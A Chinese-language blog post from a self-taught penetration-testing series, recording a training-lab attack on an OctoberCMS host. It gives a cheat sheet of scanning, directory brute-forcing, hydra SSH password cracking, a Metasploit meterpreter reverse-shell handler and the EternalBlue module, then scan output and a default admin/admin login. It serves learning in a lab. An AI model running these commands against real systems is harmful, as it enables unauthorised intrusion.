[鐵人賽] Day 26：暑期培訓(七) - /OctoberCMS - iT 邦幫忙::一起幫忙解決難題，拯救 IT 人的一天

2024 iThome 鐵人賽

DAY 26

佛心分享-IT 人自學之術

從0到1的攻擊手自學之旅系列第 26 篇

[鐵人賽] Day 26：暑期培訓(七) - /OctoberCMS

16th鐵人賽

Finley

2024-10-06 00:03:04

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SOP 更新最後一次

這一篇估計是最後2題關於培訓課程的靶機實作，其實上課的練習量非常豐富，甚至有許多台給IP然後就沒有了。不過如同這個系列的名稱，從2024年2月開始入坑的小白進入7月便從0到1成為一名攻擊新手，甚至一起上課的學員當作我是相當有經驗的夥伴。推測是因為我做的準備是越級打怪，死得快升級也快，足夠的訓練量並且運氣很好走在對的路上，如同講師上課採取的做法把每個例子都寫在自己的小本本上，整理成手邊可以隨查隨用的SOP。

進入這一篇之前，我的電腦又再度開不起來。大約是進行到暑假課程的一半直接死機到隔天早上，考試當天早上死在高鐵上直到坐上交通車。不過最近英特爾的負面消息有點多暫時先投靠AMD比較保險，Mac呢? brew install套件可以，但whatweb、dirb不能裝，這次選到的題目也剛好沒有需要自己產生.exe檔案，這時候會發生環境差異太大編譯後的檔案不能用。

更新SOP

VPN連線進入靶機網域
- sudo openvpn --config (目標).ovpn
rhost='目標IP'
nmap
- nmap -F (目標IP)
- 或 nmap -T4 (目標IP)
- 或 mmap -p- (目標IP) --min-rate 5000
- namp -Pn (目標IP Windows主機)
- nmap -sC -sV -O -p(目標埠,隔開) (目標IP)
  - 發現23 port: telnet (目標IP)
  - 發現21 port: ftp -v (目標IP)
  - 發現139,445 port: smbclient -L (目標IP)
  - 發現6379 port: redis-cli -h (目標IP)
whatweb (目標IP)
nikto -host (目標IP)
wpscan --url (目標IP) -U '' -P '' --api-token '' -e ap,at,u,vp
Google Hacking: site:(目標IP) 關鍵字 filetype:
Linux:$ echo "(目標IP) xxx.htb" | sudo tee -a /etc/hosts
ffuf掃瞄子網域名稱
- ffuf -u http://xxx.htb -H "Host: FUZZ.xxx.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
- SecLists 上次更新4年前的古老字典檔
dirb http://(目標IP) -p
gobuster dir -u http://(目標IP) -w /usr/share/seclists/ -t 8 --proxy

建立網路服務

nc -lvnp 443
sudo python3 -m http.server 80
sudo php -S 0.0.0.0:80

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Your IP>
set LPORT <Your Port>
exploit

searchsploit -m POC code
Metasploit: msfconsole -q
hydra -l admin -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt ssh://x.x.x.x
EternalBlue ms17-010: windows/smb/ms17_010_psexec
- Message signing enabled but not required
- authentication_level: user
Apache 2.4.49~2.4.50: CVE-2021-41773

$rhost

┌──(kali㉿kali)-[~]
└─$ rhost='172.16.x.x'

nmap

┌──(kali㉿kali)-[~]
└─$ nmap -p- $rhost

┌──(kali㉿kali)-[~]
└─$ nmap -p22,80,443 -sC -sV -O $rhost
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 04:46 EDT
Nmap scan report for 172.16.x.x
Host is up (0.61s latency).

PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 82:72:7d:0c:69:fa:66:03:86:44:82:83:ca:2d:80:ee (RSA)
|   256 c0:30:f3:d5:53:25:e6:2f:f0:cf:08:a1:09:2e:eb:0b (ECDSA)
|_  256 9a:ca:1b:4c:eb:90:57:68:bf:aa:a4:b7:8a:b6:4b:a2 (ED25519)
80/tcp  open   http    Apache httpd 2.4.46 ((Ubuntu))
|_http-server-header: Apache/2.4.46 (Ubuntu)
|_http-generator: OctoberCMS
| http-methods:
|_  Potentially risky methods: PUT PATCH DELETE
|_http-title: October CMS - Demonstration
443/tcp closed https
Device type: general purpose
Running (JUST GUESSING): Linux 2.6.X (86%)
OS CPE: cpe:/o:linux:linux_kernel:2.6.32
Aggressive OS guesses: Linux 2.6.32 (86%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.33 seconds

whatweb

┌──(kali㉿kali)-[~]
└─$ whatweb $rhost
http://172.16.x.x [200 OK] Apache[2.4.46], Bootstrap, Cookies[october_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.46 (Ubuntu)], HttpOnly[october_session], IP[172.16.x.x], JQuery, Meta-Author[OctoberCMS], MetaGenerator[OctoberCMS], Script, Title[October CMS - Demonstration]

Apache/2.4.46
OctoberCMS

nikto

┌──(kali㉿kali)-[~]
└─$ nikto -host $rhost
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          172.16.x.x
+ Target Hostname:    172.16.x.x
+ Target Port:        80
+ Start Time:         2024-10-03 04:53:14 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.46 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.46 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, PATCH, DELETE .
+ HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ HTTP method: 'PATCH' may allow client to issue patch commands to server. See RFC-5789.
+ HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /gb/index.php?login=true: gBook may allow admin login by setting the value 'login' equal to 'true'. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1560
+ /admin/index.php: This might be interesting: has been seen in web logs from an unknown scanner.
+ /board/index.php: This might be interesting: has been seen in web logs from an unknown scanner.
+ /faqman/index.php: This might be interesting: has been seen in web logs from an unknown scanner.
+ /ttforum/index.php: This might be interesting: has been seen in web logs from an unknown scanner.
+ /php/index.php: Monkey Http Daemon default PHP file found. See: CWE-552
+ /project/index.php?m=projects&user_cookie=1: dotProject 0.2.1.5 may allow admin login bypass by adding the user_cookie=1 to the URL. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1428
+ /ccms/index.php: Admin login page/section found.

dirb

┌──(kali㉿kali)-[~]
└─$ dirb http://172.16.x.x

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Oct  3 04:49:58 2024
URL_BASE: http://172.16.x.x/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://172.16.x.x/ ----
+ http://172.16.x.x/123 (CODE:200|SIZE:0)
+ http://172.16.x.x/backend (CODE:302|SIZE:404)
+ http://172.16.x.x/config (CODE:301|SIZE:321)
+ http://172.16.x.x/error (CODE:200|SIZE:2996)
+ http://172.16.x.x/fuck (CODE:301|SIZE:319)
+ http://172.16.x.x/index.php (CODE:200|SIZE:7677)
+ http://172.16.x.x/modules (CODE:301|SIZE:322)
+ http://172.16.x.x/plugins (CODE:301|SIZE:322)
+ http://172.16.x.x/server-status (CODE:403|SIZE:277)
+ http://172.16.x.x/shell (CODE:500|SIZE:2693)
+ http://172.16.x.x/storage (CODE:301|SIZE:322)
+ http://172.16.x.x/test (CODE:301|SIZE:319)
+ http://172.16.x.x/tests (CODE:301|SIZE:320)
+ http://172.16.x.x/themes (CODE:301|SIZE:321)
+ http://172.16.x.x/vendor (CODE:301|SIZE:321)

-----------------
END_TIME: Thu Oct  3 05:04:08 2024
DOWNLOADED: 4612 - FOUND: 15

gobuster

┌──(kali㉿kali)-[~]
└─$ gobuster dir --url http://$rhost/backend/backend/auth --wordlist /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -b 404,302
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.16.x.x/backend/backend/auth
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt
[+] Negative Status codes:   404,302
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/signin               (Status: 200) [Size: 6414]
/reset                (Status: 200) [Size: 6301]
Progress: 1888 / 119601 (1.58%)

http://172.16.x.x/backend/backend/auth/signin

這次題目dirb比較沒有結果，只能靠著gobuster一層一層往下找，這與前面介紹HTB遇到的情形類似，gobuster找不到但是ffuf倒是很順利。

最後找到前面找到的網址輸入google找到的預設登入帳密google search: october cms default credentials (admin/admin)